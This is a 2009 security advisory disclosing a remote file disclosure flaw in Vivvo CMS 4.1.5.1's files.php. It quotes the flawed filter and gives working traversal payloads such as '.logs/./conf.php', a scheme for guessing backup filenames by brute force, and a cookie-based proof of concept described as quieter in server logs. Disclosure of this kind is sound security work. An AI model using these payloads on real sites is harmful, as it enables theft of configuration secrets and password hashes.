[waraxe-2009-SA#075] - Remote File Disclosure in Vivvo CMS 4.1.5.1 Oct 21 2009 04:41PM
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[waraxe-2009-SA#075] - Remote File Disclosure in Vivvo CMS 4.1.5.1

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Author: Janek Vind "waraxe"

Date: 21. October 2009

Location: Estonia, Tartu

Web: http://www.waraxe.us/advisory-75.html

Description of vulnerable software:

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Vivvo CMS is an intuitive content management system atop a powerful programming

framework, empowering numerous industry leading online newspapers, magazines,

journals, TV and radio stations.

http://www.vivvo.net/

List of found vulnerabilities

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1. Remote File Disclosure in "files.php"

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Reasons:

1. wrongly implemented filtering of user submitted data

Preconditions: none

Impact: remote attacker can download arbitrary files from target server

Remarks:

1. authentication is not needed

2. POST parameters or cookies can be used as attack vector

3. Vulnerable are all Vivvo CMS versions >= 4.1.0

-----------------------------[source code start]-------------------------------

if (isset($_REQUEST["file"])) {

$filename = str_replace('..', '', $_REQUEST["file"]);

$filename = str_replace('logs/', '', $filename);

$file = VIVVO_FS_ROOT . 'files/' . $filename;

if (file_exists($file) && !is_link($file) && !is_dir($file)){

$file_split = explode('.', $file);

$ext = end ($file_split);

...

header("Content-type: application/force-download");

header("Content-disposition: attachment; filename=\"".basename($file)."\"");

}

readfile($file);

-----------------------------[source code end]---------------------------------

Source code snippet above takes user submitted parameter "file" and will use it

in file path. There is security measure against obvious directory traversal

risk - double dots ("..") are filtered out from user submitted data.

Let's try this:

http://localhost/vivvo.4.1.5.1/files.php?file=../conf.php

... and we get 404 error:

Page Not Found

The requested URL was not found on this server.

If you believe this page should be here, please notify administrator.

OK, directory traversal is not possible here. But ... wait a minute ...

What happens, if we try something like this:

http://localhost/vivvo.4.1.5.1/files.php?file=.logs/./conf.php

Oops, we can download Vivvo CMS configuration file with sensitive data inside.

How about database backup?

http://localhost/vivvo.4.1.5.1/files.php?file=.logs/./backup/21-10-2009-
18-46_vivvo4151.sql.gz

... and we have admin's password hash (simple MD5) in our possession.

Database backup's filename must be guessed before successful download, but it is

not complex task. We allready know database name (from conf.php), there is

only 1440 minutes in one day, so attacker can use bruteforce for filename guessing.

For example, if backup is done within last 30 days, then maximum 43200 requests

is needed for successful database backup fetching.

As vulnerable input variable is $_REQUEST["file"], then attack vector can be

not only GET parameter, but also POST parameter or even cookie. As most real

world webservers do not log POST data and cookies, then such method can make

attack less "noisy". Proof of concept:

1. open Vivvo webpage:

http://localhost/vivvo.4.1.5.1/

2. use javascript for cookie manipulation:

javascript:document.cookie="file=.logs/./conf.php";

3. open same webpage again and download of "conf.php" is possible.

Greetings:

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Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, str0ke,

to all active waraxe.us forum members and to anyone else who know me!

Contact:

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come2waraxe (at) yahoo (dot) com [email concealed]

Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html

Personal homepage: http://www.janekvind.com/

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